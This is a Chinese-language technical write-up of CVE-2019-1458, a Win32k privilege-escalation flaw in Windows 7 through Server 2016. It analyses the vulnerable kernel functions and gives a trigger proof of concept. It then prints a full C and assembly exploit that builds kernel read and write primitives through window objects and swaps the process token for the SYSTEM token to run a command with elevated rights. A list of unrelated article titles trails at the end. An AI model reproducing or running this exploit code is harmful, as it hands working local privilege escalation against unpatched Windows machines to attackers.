CVE-2019-1458

0x00 漏洞简介

CVE-2019-1458Win32k中的特权提升漏洞,Win32k组件无法正确处理内存中的对象时,导致Windows中存在一个特权提升漏洞。成功利用此漏洞的攻击者可以在内核模式下运行任意代码。然后攻击者可能会安装程序、查看、更改或删除数据;或创建具有完全用户权限的新帐户。

0x01 影响版本

Microsoft Windows 10 Version 1607 for 32-bit Systems
Microsoft Windows 10 Version 1607 for x64-based Systems
Microsoft Windows 10 for 32-bit Systems
Microsoft Windows 10 for x64-based Systems
Microsoft Windows 7 for 32-bit Systems SP1
Microsoft Windows 7 for x64-based Systems SP1
Microsoft Windows 8.1 for 32-bit Systems
Microsoft Windows 8.1 for x64-based Systems
Microsoft Windows RT 8.1
Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1
Microsoft Windows Server 2008 R2 for x64-based Systems SP1
Microsoft Windows Server 2008 for 32-bit Systems SP2
Microsoft Windows Server 2008 for Itanium-based Systems SP2
Microsoft Windows Server 2008 for x64-based Systems SP2
Microsoft Windows Server 2012
Microsoft Windows Server 2012 R2
Microsoft Windows Server 2016

0x03 漏洞分析

【实验环境】:Win7sp1_x647600\textcolor{green}{【实验环境】:Win7\ sp1\_x64\ 7600}【实验环境】:Win7 sp1_x64 7600

漏洞发生在xxxPaintSwitchWindow\textcolor{cornflowerblue}{xxxPaintSwitchWindow}xxxPaintSwitchWindow函数中

■ xxxPaintSwitchWindow分析

void __fastcall xxxPaintSwitchWindow(tagWND *pwndSwitch)
{...if ( (pwndSwitch->style & 0x10000000) != 0  )//bVisible被置位{if ( (pwndSwitch->fnid & 0x3FFF) == 0x2A0&& pwndSwitch->cbwndExtra + 0x128i64 == *(unsigned __int16 *)(gpsi + 0x154) ){if ( *((char *)&pwndSwitch->1 + 3) < 0 )return;ExtraBytes = (_QWORD *)pwndSwitch->ExtraBytes;}if ( ExtraBytes ){hdcSwitch = (HDC)GetDCEx(pwndSwitch, 0i64, 0x10000i64);if ( !*((_DWORD *)ExtraBytes + 0x1B) )goto LABEL_11;LOBYTE(v3) = 0x12;if ( (GetKeyState(v3) & 0x8000u) == 0i64 )//判断Alt键状态goto LABEL_25;if ( !*((_DWORD *)ExtraBytes + 0x1B) ){LABEL_11:if ( GetAsyncKeyState(0x12u) >= 0 )//判断Alt键状态goto LABEL_25;}GetClientRect(pwndSwitch, (char *)ExtraBytes + 92);FillRect(hdcSwitch, (char *)ExtraBytes + 0x5C, *(_QWORD *)(gpsi + 3024));v5 = -*((_DWORD *)GetDPIMetrics() + 0x13);v6 = *((_DWORD *)GetDPIMetrics() + 0x12);*((_DWORD *)ExtraBytes + 0x18) -= v5;*((_DWORD *)ExtraBytes + 0x1A) += v5;v6 *= -2;*((_DWORD *)ExtraBytes + 0x17) -= v6;*((_DWORD *)ExtraBytes + 0x19) += v6;...}...}...
}

pwndSwitch表示的是被切换窗口的内核对象,满足4个条件:

  1. 被切换的窗口可视 @line:4
  2. 被切换窗口的fnid&0x3FFF==0x2A0\textcolor{orange}{fnid \& 0x3FFF == 0x2A0}fnid&0x3FFF==0x2A0
  3. 被切换的窗口的额外数据大小加上0x128的值与gpsi+0x154\textcolor{orange}{gpsi + 0x154}gpsi+0x154指向的内存值相等 @line:7
  4. Alt键按下

将会进入到漏洞位置 @line:18,发现从该处开始没有对 ExtraBytes 指向的内存做任何校验就直接写入,而 ExtraBytes 可以通过SetWindowLong∗∗\textcolor{cornflowerblue}{SetWindowLong**}SetWindowLong∗∗系列函数设置,因此存在任意内存写漏洞。

xxxPaintSwitchWindow\textcolor{cornflowerblue}{xxxPaintSwitchWindow}xxxPaintSwitchWindow函数可由 xxxSwitchWndProc\textcolor{cornflowerblue}{xxxSwitchWndProc }xxxSwitchWndProc函数在某个情况下直接调用,下面对 xxxSwitchWndProc\textcolor{cornflowerblue}{xxxSwitchWndProc}xxxSwitchWndProc进行一个简单分析。

■ xxxSwitchWndProc分析

__int64 __fastcall xxxSwitchWndProc(tagWND *pwnd, unsigned int message, __int64 wParam, __int64 lParam)
{...if ( LOWORD(pwnd->fnid) == 0x2A0 ){switch ( message ){...case 0x14u:case 0x3Au:v10 = *(_QWORD *)(v7 + 336);v14[1] = (__int64)pwnd;v14[0] = v10;*(_QWORD *)(v7 + 336) = v14;++pwnd->head.cLockObj;xxxPaintSwitchWindow(pwnd);             // 漏洞函数ThreadUnlock1(v12, v11);return 0i64;}}...if ( message == 1 ){LOWORD(pwnd->fnid) = 0x2A0;goto LABEL_7;}xxxSwitchWndProc
}
  • 当被切换窗口的fnid==0x2A0\textcolor{orange}{fnid==0x2A0}fnid==0x2A0且传递的消息值是0x14或者是0x3A时就能够进入到漏洞函数。

对xxxSwitchWndProc\textcolor{cornflowerblue}{xxxSwitchWndProc}xxxSwitchWndProc函数进行交叉引用,发现在xxxWrapSwitchWndProc\textcolor{cornflowerblue}{xxxWrapSwitchWndProc}xxxWrapSwitchWndProc函数中被调用。

__int64 __fastcall xxxWrapSwitchWndProc(tagWND *pwnd, unsigned int message, __int64 wParam, __int64 lParam)
{__int64 result; // raxif ( (unsigned int)CheckProcessIdentity() )result = xxxSwitchWndProc(pwnd, message, wParam, lParam);elseresult = 0i64;return result;
}

再对xxxWrapSwitchWndProc\textcolor{cornflowerblue}{xxxWrapSwitchWndProc}xxxWrapSwitchWndProc函数进行交叉引用,发现在InitFunctionTables\textcolor{cornflowerblue}{InitFunctionTables}InitFunctionTables函数中,将xxxWrapSwitchWndProc\textcolor{cornflowerblue}{xxxWrapSwitchWndProc}xxxWrapSwitchWndProc函数指针保存在gpsi+0x40\textcolor{orange}{gpsi+0x40}gpsi+0x40位置。目前看来没有哪个系统函数显示的调用了xxxWrapSwitchWndProc\textcolor{cornflowerblue}{xxxWrapSwitchWndProc}xxxWrapSwitchWndProc,所以我们需要找到某个能够调用gpsi+0x40\textcolor{orange}{gpsi+0x40}gpsi+0x40的函数。幸运的是这样的函数一抓一大把,正是NtUserfn开头的函数。这些函数内部有个统一的特征,就是根据dwType参数与gpsi做计算,调用位于gpsi某个位置的函数,就拿NtUserfnNCDESTROY\textcolor{cornflowerblue}{NtUserfnNCDESTROY}NtUserfnNCDESTROY举例

__int64 __fastcall NtUserfnNCDESTROY(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, char dwType)
{return (*(__int64 (__fastcall **)(__int64))(gpsi + 8i64 * ((dwType + 6) & 0x1F) + 16))(a1);
}

所有NtUserfn开头的函数都用着同样的计算方式 @line:3去调用gpsi中的函数。我们想调用的是位于gpsi+0x40\textcolor{orange}{gpsi+0x40}gpsi+0x40的xxxWrapSwitchWndProc\textcolor{cornflowerblue}{xxxWrapSwitchWndProc}xxxWrapSwitchWndProc,所以这里传递的dwType可以取值但不限于0

而NtUserMessageCall\textcolor{cornflowerblue}{NtUserMessageCall}NtUserMessageCall可以调用到NtUserfn开头系列的函数,下面来简单分析一下。

■ NtUserMessageCall分析

__int64 __fastcall NtUserMessageCall(HWND hwnd, unsigned int msg, __int64 wParam, __int64 lParam, __int64 ResultInfo, int dwType, int a7)
{...if ( (hwnd == (HWND)0xFFFF || hwnd == (HWND)-1i64) && (dwType == 0x2B7 || dwType == 0x2B8) ){pwnd = (tagWND *)-1i64;}else{pwnd = (tagWND *)ValidateHwnd(hwnd);...}if ( msg < 0x400 )v15 = ((__int64 (__fastcall *)(tagWND *, _QWORD, __int64, __int64, __int64, int, int))gapfnMessageCall[*(_BYTE *)(msg - 0x68001000000i64 + 0x2A6390) & 0x3F])(pwnd,msg,wParam,lParam,ResultInfo,dwType,a7); ...
}

@line:14这里根据msg的取值,调用了一个全局函数指针数组中的某个函数。浏览一下gapfnMessageCall的部分元素

.rdata:FFFFF97FFF2A6190  gapfnMessageCall dq offset NtUserfnNCDESTROY
.rdata:FFFFF97FFF2A6190                                         ; DATA XREF: NtUserMessageCall+12A↑r
.rdata:FFFFF97FFF2A6198                 dq offset NtUserfnNCDESTROY
.rdata:FFFFF97FFF2A61A0                 dq offset NtUserfnINLPCREATESTRUCT
.rdata:FFFFF97FFF2A61A8                 dq offset NtUserfnINSTRINGNULL
.rdata:FFFFF97FFF2A61B0                 dq offset NtUserfnOUTSTRING
.rdata:FFFFF97FFF2A61B8                 dq offset NtUserfnINSTRING
.rdata:FFFFF97FFF2A61C0                 dq offset NtUserfnINOUTLPWINDOWPOS
.rdata:FFFFF97FFF2A61C8                 dq offset NtUserfnINLPDRAWITEMSTRUCT
.rdata:FFFFF97FFF2A61D0                 dq offset NtUserfnINOUTLPMEASUREITEMSTRUCT

@line:14的计算是重点和msg的取值有关,而msg的取值还会决定xxxSwitchWndProc\textcolor{cornflowerblue}{xxxSwitchWndProc}xxxSwitchWndProc函数流程该走向switch中的哪个分支。我们期望的msg取值是0x14或者0x3A,以便从xxxSwitchWndProc\textcolor{cornflowerblue}{xxxSwitchWndProc}xxxSwitchWndProc函数中进入xxxPaintSwitchWindow\textcolor{cornflowerblue}{xxxPaintSwitchWindow}xxxPaintSwitchWindow漏洞函数。@line:14IDA的反汇编结果不太准确,需要从汇编代码中去分析

NtUserMessageCall+101                  lea     r11, cs:0FFFFF97FFF000000h
NtUserMessageCall+108                  movzx   r10d, byte ptr [rsi+r11+2A6390h]  ;rsi = msg , r11+2A6390h = MessageTable; r10d = MessageTable[rsi]
NtUserMessageCall+111                  mov     [rsp+78h+var_48], eax
NtUserMessageCall+115                  mov     rax, [rsp+78h+ResultInfo]
NtUserMessageCall+11D                  and     r10d, 3Fh
NtUserMessageCall+121                  mov     [rsp+78h+var_50], ebp
NtUserMessageCall+125                  mov     [rsp+78h+var_58], rax
NtUserMessageCall+12A                  call    ds:rva gapfnMessageCall[r11+r10*8]

从汇编代码的结果来看,@line:14正确的反汇编结果应该是

v15 = ((__int64 (__fastcall *)(tagWND *, _QWORD, __int64, __int64, __int64, int, int))gapfnMessageCall[ MessageTable[msg] & 0x3F](pwnd,msg,wParam,lParam,ResultInfo,dwType,a7); );

MessageTable部分数据:

kd> db fffff960`00050000+2A6390h
fffff960`002f6390  00 c2 00 00 00 00 00 00-00 00 00 00 c3 c4 ec 00  ................
fffff960`002f63a0  00 00 00 00 80 00 00 00-00 00 c3 c5 00 00 00 00  ................
fffff960`002f63b0  00 00 00 00 86 00 00 80-00 00 00 87 88 89 00 4a  ...............J
fffff960`002f63c0  00 80 00 00 00 00 00 00-8b 8c 29 00 a9 00 00 00  ..........).....
fffff960`002f63d0  00 00 00 00 00 00 8d 8e-00 cf 90 00 00 00 00 00  ................
fffff960`002f63e0  00 00 00 91 00 00 00 00-00 00 00 00 00 00 00 00  ................
fffff960`002f63f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fffff960`002f6400  a9 00 00 00 00 00 00 00-00 00 00 00 92 92 00 00  ................

根据 @line:14的计算方式,当msg=0x14\textcolor{orange}{msg=0x14}msg=0x14时,取到的函数指针为NtUserfnNCDESTROY\textcolor{cornflowerblue}{NtUserfnNCDESTROY}NtUserfnNCDESTROY;当msg=0x3A\textcolor{orange}{msg=0x3A}msg=0x3A时,取到的函数指针为sub_FFFFF97FFF0E3DB4\textcolor{cornflowerblue}{sub\_FFFFF97FFF0E3DB4}sub_FFFFF97FFF0E3DB4,显然msg=0x3A\textcolor{orange}{msg=0x3A}msg=0x3A这种情况下,取到的函数名不是以NtUserfn开头的,结构不符合要求,所以舍去。

下面编写测试POC,验证漏洞。

0x04 漏洞验证

WNDCLASSEXW wcs = { 0 };
wcs.cbSize = sizeof(WNDCLASSEXW);
wcs.cbWndExtra = 8;
wcs.hInstance = GetModuleHandleA(0);
wcs.lpszMenuName = 0;
wcs.lpfnWndProc = DefWindowProcW;
wcs.lpszClassName = L"Trigger";
ATOM atom;
if ((atom = RegisterClassExW(&wcs))==INVALID_ATOM) {printf("[!]Error: %d\n", __LINE__ - 1);return;
}//创建一个用于触发漏洞的窗口
HWND hTrigger = CreateWindowExW(0, (LPCWSTR)(unsigned short)atom, NULL, WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, GetModuleHandleA(0), NULL);
if (hTrigger == INVALID_HANDLE_VALUE) {printf("[!]Error: %d\n", __LINE__ - 1);return;
}printf("[+]hTrigger = 0x%x\n", hTrigger);//设置hTrigger的tagWND->ExtraBytes 0x18偏移处的值为无效的内存指针
SetWindowLongPtrW(hTrigger, 0, 'AAAA');
//第一次调用NtUserMessageCall目的是给hTrigger对应的tagWND->fnid赋值0x2A0
NtUserMessageCall(hTrigger, WM_CREATE, 0, 0, 0, 0, 0);//创建一个类名为#32771的窗口,此窗口的特点是设置[gpsi+0x154]=0x130
HWND hSwitchWnd= CreateWindowExW(0,L"#32771" , L"Switch Window", 0, 0, 0, 0, 0, NULL, NULL, GetModuleHandleA(0), NULL);
if (hSwitchWnd == INVALID_HANDLE_VALUE) {printf("[!]Error: %d\n", __LINE__ - 2);return;
}Key_Down(VK_MENU);//第二次调用NtUserMessageCall目的是触发漏洞
NtUserMessageCall(hTrigger, 0x14, 0, 0, 0, 0, 0);

@line:25先将ExtraBytes偏移为0的位置设置成一个无效指针。

@line:27需要说明一下,窗口创建之初默认其fnid0,所以第一次调用NtUserMessageCall\textcolor{cornflowerblue}{NtUserMessageCall}NtUserMessageCall,其msg传值为1,为的就是利用xxxSwitchWndProc\textcolor{cornflowerblue}{xxxSwitchWndProc}xxxSwitchWndProc修改fnid=0x2A0\textcolor{orange}{fnid=0x2A0}fnid=0x2A0。

@line:30创建一个类名为#32771的窗口是为了绕过xxxPaintSwitchWindow\textcolor{cornflowerblue}{xxxPaintSwitchWindow}xxxPaintSwitchWindow函数中对gpsi+154\textcolor{orange}{gpsi+154}gpsi+154的检查(回顾相应部分的分析的 @line:7)。

@line:36模拟键盘按下Alt键是为了绕过xxxPaintSwitchWindow\textcolor{cornflowerblue}{xxxPaintSwitchWindow}xxxPaintSwitchWindow函数中对按键状态的检查(回顾相应部分的分析的 @line:24)。

@line:39第二次调用NtUserMessageCall\textcolor{cornflowerblue}{NtUserMessageCall}NtUserMessageCall,其msg传值为0x14触发漏洞。

通过动态调试我们发现,漏洞成功触发:

tagWND−>ExtraBytes\textcolor{orange}{tagWND->ExtraBytes}tagWND−>ExtraBytes成功被修改为一个无效指针,随后对其访问或者修改会则引发系统BSOD

0x05 漏洞利用

回顾之前对xxxPaintSwitchWindow\textcolor{cornflowerblue}{xxxPaintSwitchWindow}xxxPaintSwitchWindow的静态分析,函数会修改ExtraBytes+0x5C\textcolor{orange}{ExtraBytes+0x5C}ExtraBytes+0x5C开始的0x10个字节数据,通过动态调试发现,实际上是从ExtraBytes+0x58\textcolor{orange}{ExtraBytes+0x58}ExtraBytes+0x58处就开始连续修改了24个字节的数据,并且修改后的数据都异常的大:

kd> dq 0x000000000035f6a0+58
00000000`0035f6f8  0000000e`00000000 00000066`ffffffde
00000000`0035f708  00000000`ffffffef 00000000`00000000
00000000`0035f718  00000000`00000000 00000000`00000000
00000000`0035f728  00000000`00000000 00000000`00000000
00000000`0035f738  00000000`00000000 00000000`00000000

所以利用的思路就和之前我另一篇CVE-2016-07255分析的一样。稍有不同的是,在win7 x64sp1下,需要使用NtUserDefSetText\textcolor{cornflowerblue}{NtUserDefSetText}NtUserDefSetText代替SetWindowTextW\textcolor{cornflowerblue}{SetWindowTextW}SetWindowTextW实现写原语,使用InternalGetWindowText\textcolor{cornflowerblue}{InternalGetWindowText}InternalGetWindowText代替GetWindowTextW\textcolor{cornflowerblue}{GetWindowTextW}GetWindowTextW实现读原语,函数名不同,用法基本相同。

最后还需要对之前部分内核数据的修改做出修正,否则在窗口关闭的时候会BSOD,这只是防止蓝屏的简单部分。随后我发现,窗口关闭导致蓝屏的问题虽然解决了,然而cmd进程结束导致了系统蓝屏,错误信息如下:

*** Fatal System Error: 0x0000004e(0x0000000000000099,0x0000000000105498,0x0000000000000000,0x0000000000105518)Break instruction exception - code 80000003 (first chance)A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.A fatal system error has occurred.nt!RtlpBreakWithStatusInstruction:
fffff800`03cc2f60 cc              int     3
kd> kb# RetAddr               : Args to Child                                                           : Call Site
00 fffff800`03dc06d2     : 00000000`00000099 fffffa80`06635b60 00000000`00000065 fffff800`03d09314 : nt!RtlpBreakWithStatusInstruction
01 fffff800`03dc14be     : 00000000`00000003 00000000`00000000 fffff800`03d05ee0 00000000`0000004e : nt!KiBugCheckDebugBreak+0x12
02 fffff800`03ccb004     : fffffa80`06635b60 fffff880`03e48d48 fffff880`03e48c70 fffff800`03cce54b : nt!KeBugCheck2+0x71e
03 fffff800`03d5932c     : 00000000`0000004e 00000000`00000099 00000000`00105498 00000000`00000000 : nt!KeBugCheckEx+0x104
04 fffff800`03d2dce4     : 00000000`000007ff 00000000`00000410 fffff8a0`013356f0 00000000`000003ac : nt!MiBadShareCount+0x4c
05 fffff800`03f87542     : fffff780`00000004 00000000`00000000 00000000`00000001 fffffa80`0370b080 : nt! ?? ::FNODOBFM::`string'+0x17551
06 fffff800`03f87207     : fffffa80`060f1370 00000000`00000008 fffffa80`00000000 fffffa80`00000000 : nt!MmDeleteProcessAddressSpace+0x42
07 fffff800`03cd00b4     : 00000000`00000000 fffffa80`060f1370 fffffa80`060f1340 fffff800`04057915 : nt!PspProcessDelete+0x177
08 fffff800`03dcf439     : fffffa80`060f1370 fffffa80`06814000 fffffa80`06814e48 fffffa80`06814e40 : nt!ObfDereferenceObject+0xd4
09 fffff800`0411b1fe     : fffffa80`00000372 fffffa80`0466f000 fffffa80`060f1370 fffffa80`06814e48 : nt!MmFreeAccessPfnBuffer+0x29
0a fffff800`0413c820     : fffffa80`06635b01 00000000`00000080 fffffa80`0370b740 fffff800`03e57568 : nt!PfpFlushBuffers+0x23e
0b fffff800`03f6e166     : ffffffff`ff676980 fffffa80`06635b60 fffff880`03e48db0 fffffa80`06635b60 : nt!PfTLoggingWorker+0xe0
0c fffff800`03ca9486     : fffff800`03e43e80 fffffa80`06635b60 fffffa80`062f5b60 fffff880`0123fa90 : nt!PspSystemThreadStartup+0x5a
0d 00000000`00000000     : fffff880`03e49000 fffff880`03e43000 fffff880`03e48750 00000000`00000000 : nt!KiStartSystemThread+0x16

我严重怀疑是x64下替换当前进程的TokenSYSTEMToken时会涉及Token对象的引用计数问题,然后我尝试在替换之前给SYSTEMToken引用计数从1增加到210,而在这3种情况下,cmd进程结束还是会BSOD。然而,我手动在Windbg模拟修改cmdTokenSYSTEMToken,在cmd结束后却不会蓝屏。后来我又试着在替换当前cmd进程的Token时做个备份,在cmd进程结束之前再替换回来,结果还是BSOD。这个问题目前还没解决,在线等各位大佬的帮助v^v!

0x06 EXP

#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>#define EXTRABYTES_SIZE_OFFSET_IN_TAGWND 0xE8
#define STRNAME_OFFSET_IN_TAGWND 0xD8
#define EXTRABYTES_OFFSET_IN_TAGWND 0x128
#define SPWNDLASTACTIVE_OFFSET_IN_TAGWND 0xF0
#define EPROCESS_OFFSET_IN_KTHREAD 0x210
#define TOKEN_OFFSET_IN_EPROCESS 0x208
#define EPROCESS_ENTRY_OFFSET_IN_EPROCESS 0x188
#define PID_OFFSET_IN_EPROCESS 0x180
#define OBJECT_HEADER_SIZE 0x30typedef struct _LARGE_UNICODE_STRING {ULONG Length;ULONG MaximumLength : 31;ULONG bAnsi : 1;PWSTR Buffer;
} LARGE_UNICODE_STRING, * PLARGE_UNICODE_STRING;typedef struct _THRDESKHEAD {HANDLE  h;ULONG   cLockObj;PVOID   pti;PVOID   rpdesk;PBYTE   pSelf;
} THRDESKHEAD, * PTHRDESKHEAD;typedef PVOID(__fastcall* HMValidateHandle_t)(HANDLE, UINT);
extern "C" NTSTATUS  NtUserMessageCall(HANDLE hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);
extern "C" NTSTATUS  NtUserDefSetText(HANDLE hWnd, PLARGE_UNICODE_STRING plstr);
extern "C" ULONG g_NtUserDefSetText_syscall = 0x107f, g_NtUserMessageCall_syscall = 0x1007;HMValidateHandle_t HMValidateHandle = 0;HWND g_hWndList[0x100] = { 0 };
ULONG64 g_spKwnd[0x100] = { 0 };BOOLEAN Init() {int offset = 0;ULONG next_code = 0;ULONG dwRetBytes = 0;int Kernel_Base_index = 0;HMODULE hKernel = 0;for (int i = 0; i < 0x100; i++) {PUCHAR tr = (PUCHAR)IsMenu + i;if (*tr == 0xE8){//找到调用HMValidateHandle的指令位置offset = *(int*)((PCHAR)IsMenu + i + 1);next_code = (ULONG)IsMenu + i + 5;HMValidateHandle = (HMValidateHandle_t)(next_code + offset);break;}}if (!HMValidateHandle) {printf("[!]Error: %d\n", __LINE__ - 1);return FALSE;}printf("[+]Found HMValidateHandle = 0x%p\n", HMValidateHandle);return TRUE;
}ULONG64 readQWORD(PVOID TargetAddr, HWND hWndAttack, HWND hWndVictim, ULONG64 Offset,PULONG64 OldQword) {WCHAR qwVal[8] = { 0 };ULONG64 ret;ret = SetWindowLongPtrW(hWndAttack, Offset, (ULONG64)TargetAddr);if (OldQword)*OldQword = ret;InternalGetWindowText(hWndVictim, qwVal, sizeof(qwVal));return *(PULONG64)qwVal;
}VOID writeQWORD(PVOID TargetAddr, HWND hWndAttack, HWND hWndVictim, ULONG64 Offset, ULONG64 Value,  PULONG64 OldQword
) {ULONG64 ret;LARGE_UNICODE_STRING data = { 0 };ret = SetWindowLongPtrW(hWndAttack, Offset, (ULONG64)TargetAddr);if (OldQword)*OldQword = ret;data.bAnsi = 0;data.Length = 8;data.MaximumLength = 0xA;data.Buffer = (PWCHAR)&Value;NtUserDefSetText(hWndVictim, &data);
}VOID Exploit(char* cmd) {WNDCLASSEXW wcs = { 0 };wcs.cbSize = sizeof(WNDCLASSEXW);wcs.cbWndExtra = 8;wcs.hInstance = GetModuleHandleA(0);wcs.lpszMenuName = 0;wcs.lpfnWndProc = DefWindowProcW;for (int i = 0; i < 0x100;) {WCHAR wszClsName[0x20];wsprintfW(wszClsName, L"%d", (i + 1) * 1998);wcs.lpszClassName = wszClsName;if (RegisterClassExW(&wcs)==INVALID_ATOM) {continue;}HWND hTmp = CreateWindowExW(NULL,wszClsName,L"Fuck you",WS_VISIBLE,0, 0, 0, 0, NULL, 0, GetModuleHandleA(0), 0);if (hTmp==INVALID_HANDLE_VALUE) {continue;}PTHRDESKHEAD spRdes = (PTHRDESKHEAD)HMValidateHandle(hTmp, 1);g_spKwnd[i] = (ULONG64)spRdes->pSelf;g_hWndList[i++] = hTmp;}HWND hWndAttack = 0;HWND hWndVictim = 0;ULONG64 spKwndAttack = 0;ULONG64 spKwndVictim = 0;BOOLEAN bOver = FALSE;//寻找在内核中位置相距在0xFF0000之内的两个窗口,其余窗口全部销毁for (int i = 0; i < 0x100 - 1 && !bOver; i++) {for (int j = i + 1; j < 0x100; j++) {hWndAttack = g_spKwnd[i] > g_spKwnd[j] ? g_hWndList[j] : g_hWndList[i];hWndVictim = (g_spKwnd[i] < g_spKwnd[j]) ? g_hWndList[j] : g_hWndList[i];spKwndAttack = (g_spKwnd[i] < g_spKwnd[j]) ? g_spKwnd[i] : g_spKwnd[j];spKwndVictim = (g_spKwnd[i] > g_spKwnd[j]) ? g_spKwnd[i] : g_spKwnd[j];if (spKwndVictim - spKwndAttack < 0xFF0000){g_hWndList[i] = g_hWndList[j] = 0;bOver = TRUE;break;}}}for (int i = 0; i < 0x100; i++)DestroyWindow(g_hWndList[i]);if (spKwndAttack == 0 || spKwndVictim == 0) {printf("[+]Error:%d\n", __LINE__ - 1);return;}printf("[+]spKwndAttack = 0x%p\n", spKwndAttack);printf("[+]spKwndVictim = 0x%p\n", spKwndVictim);SetWindowLongPtrW(hWndAttack, 0, spKwndAttack+EXTRABYTES_SIZE_OFFSET_IN_TAGWND-0x60);//第一次调用NtUserMessageCall目的是给hTrigger对应的tagWND->fnid赋值0x2A0NtUserMessageCall(hWndAttack, WM_CREATE, 0, 0, 0, 0, 0);//创建一个类名为#32771的窗口,此窗口的特点是设置[gpsi+0x154]=0x130HWND hSwitchWnd= CreateWindowExW(0,L"#32771" , L"Switch Window", 0, 0, 0, 0, 0, NULL, NULL, GetModuleHandleA(0), NULL);if (hSwitchWnd == INVALID_HANDLE_VALUE) {printf("[!]Error: %d\n", __LINE__ - 2);return;}BYTE keyState[256];GetKeyboardState(keyState);keyState[VK_MENU] |= 0x80;SetKeyboardState(keyState);//第二次调用NtUserMessageCall目的是触发漏洞,此时hWndAttack的cbWndExtra已被修改成很大的数NtUserMessageCall(hWndAttack, 0x14, 0, 0, 0, 0, 0);ULONG64 ulOffset = spKwndVictim - spKwndAttack - EXTRABYTES_OFFSET_IN_TAGWND+ STRNAME_OFFSET_IN_TAGWND+8;printf("[+]ulOffset = 0x%p\n", ulOffset);PTHRDESKHEAD spRdes = (PTHRDESKHEAD)HMValidateHandle(hWndVictim, 1);ULONG64 ulOld;ULONG64 Ethread = readQWORD(spRdes->pti, hWndAttack, hWndVictim, ulOffset, &ulOld);printf("[+]ulOld = 0x%p\n", ulOld);printf("[+]Ethread = 0x%p\n", Ethread);ULONG64 CurEprocess = readQWORD((PVOID)(Ethread + EPROCESS_OFFSET_IN_KTHREAD),hWndAttack, hWndVictim, ulOffset, NULL);ULONG64 NextEprocess = CurEprocess;printf("[+]CurEprocess = 0x%p\n", CurEprocess);ULONG64 CurPid = GetCurrentProcessId();ULONG64 Pid = 0;ULONG64 Token = 0;ULONG64 OldToken = 0;PVOID TokenAddress = NULL;ULONG64 RefCnt;do {Pid = readQWORD((PVOID)(NextEprocess + PID_OFFSET_IN_EPROCESS),hWndAttack, hWndVictim, ulOffset, NULL);if (Pid == 4) {Token = readQWORD((PVOID)(NextEprocess + TOKEN_OFFSET_IN_EPROCESS),hWndAttack, hWndVictim, ulOffset, NULL);}else if (Pid == CurPid) {TokenAddress = (PVOID)(NextEprocess + TOKEN_OFFSET_IN_EPROCESS);OldToken = readQWORD((PVOID)(NextEprocess + TOKEN_OFFSET_IN_EPROCESS),hWndAttack, hWndVictim, ulOffset, NULL);}NextEprocess = readQWORD((PVOID)(NextEprocess + EPROCESS_ENTRY_OFFSET_IN_EPROCESS),hWndAttack, hWndVictim, ulOffset, NULL)- EPROCESS_ENTRY_OFFSET_IN_EPROCESS;} while (NextEprocess != CurEprocess);printf("[+]TokenAddress = 0x%p\n", TokenAddress);printf("[+]Token = 0x%p\n", Token);if (Token && TokenAddress) {/* RefCnt = readQWORD((PVOID)((Token & 0xFFFFFFFFFFFFFFF0) - OBJECT_HEADER_SIZE ),hWndAttack, hWndVictim, ulOffset, NULL);printf("[+]System token RefCnt = %d\n", RefCnt);*/修改令牌前,需要先修改令牌的引用计数/*   writeQWORD((PVOID)((Token & 0xFFFFFFFFFFFFFFF0) - OBJECT_HEADER_SIZE),hWndAttack, hWndVictim, ulOffset, RefCnt + 2, NULL);*/writeQWORD((PVOID)TokenAddress,hWndAttack, hWndVictim, ulOffset, (Token & 0xFFFFFFFFFFFFFFF0), NULL);printf("[*]Try execute %s as SYSTEM!\n", cmd);system(cmd);}else {printf("[-]Privilege escalation Failed!\n");}防蓝屏操作//writeQWORD((PVOID)TokenAddress,//    hWndAttack, hWndVictim, ulOffset, OldToken,NULL);writeQWORD((PVOID)(spKwndAttack + STRNAME_OFFSET_IN_TAGWND), hWndAttack, hWndVictim, ulOffset, 0,NULL);writeQWORD((PVOID)(spKwndAttack + STRNAME_OFFSET_IN_TAGWND+8),hWndAttack, hWndVictim, ulOffset, 0, NULL);writeQWORD((PVOID)(spKwndAttack + SPWNDLASTACTIVE_OFFSET_IN_TAGWND), hWndAttack, hWndVictim, ulOffset, 0, NULL);SetWindowLongPtrW(hWndAttack, ulOffset, ulOld);return;
}int main(int argc, char** argv) {if (Init()) {Exploit(argv[1]);}else{printf("[!]Error: %d\n", __LINE__ - 3);}system("pause");return 0;
}
_TEXT SEGMENTEXTERNDEF  g_NtUserDefSetText_syscall:dword
EXTERNDEF  g_NtUserMessageCall_syscall:dwordPUBLIC NtUserMessageCall
NtUserMessageCall PROCmov r10, rcxmov eax, g_NtUserMessageCall_syscall   syscallret
NtUserMessageCall ENDPNtUserDefSetText PROCmov r10, rcxmov eax, g_NtUserDefSetText_syscallsyscallret
NtUserDefSetText ENDP_TEXT ENDS
END

0x07 演示

0x08 参考

https://bbs.pediy.com/thread-260268.htm#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90

CVE-2019-1458 分析相关推荐

  1. 北京积分落户2018年与2019年分析

    本月度的第一天也就是6月1号,北京交通委发布了<北京市小客车数量调控暂行规定(修订草案征求意见稿)>.<〈北京市小客车数量调控暂行规定〉实施细则(修订征求意见稿)>.<关 ...

  2. 互联网广告之教育行业2019年数据分析及预估

    众所周知,受到2020年新冠疫情影响,大部分行业均受到不小的冲击,但也有个别行业抓住了机会,比如在线教育行业,由于疫情期间所有学校不得返校开课,只能选择在家网课教学,这对于在线教育市场来说是一次史无前 ...

  3. 一览群智入选“2019爱分析·中国科技创新企业100强-新龙榜”引领认知智能应用新时代...

    "认知智能的时代已经来临,"一览群智CEO胡健表示,"在这个时代,一览群智作为参与者与见证者,一直致力于立足认知智能技术,解决行业核心问题,提高生产力:在这个过程中,我们 ...

  4. 2021年第一季度Sumap网络空间测绘CVE漏洞趋势安全分析报告

    前言 本文主要通过网络测绘角度收集各种资产协议的版本号信息,通过比对CVE漏洞影响范围中的版本号方式,进行安全风险趋势分析,无任何实际危害互联网行为.资产在携带版本中也会存在修复补丁后版本不变的情况. ...

  5. Gartner 2019 年 BI 炒作周期五大趋势:增强分析、数字文化、关系分析、决策智能、实施和扩展...

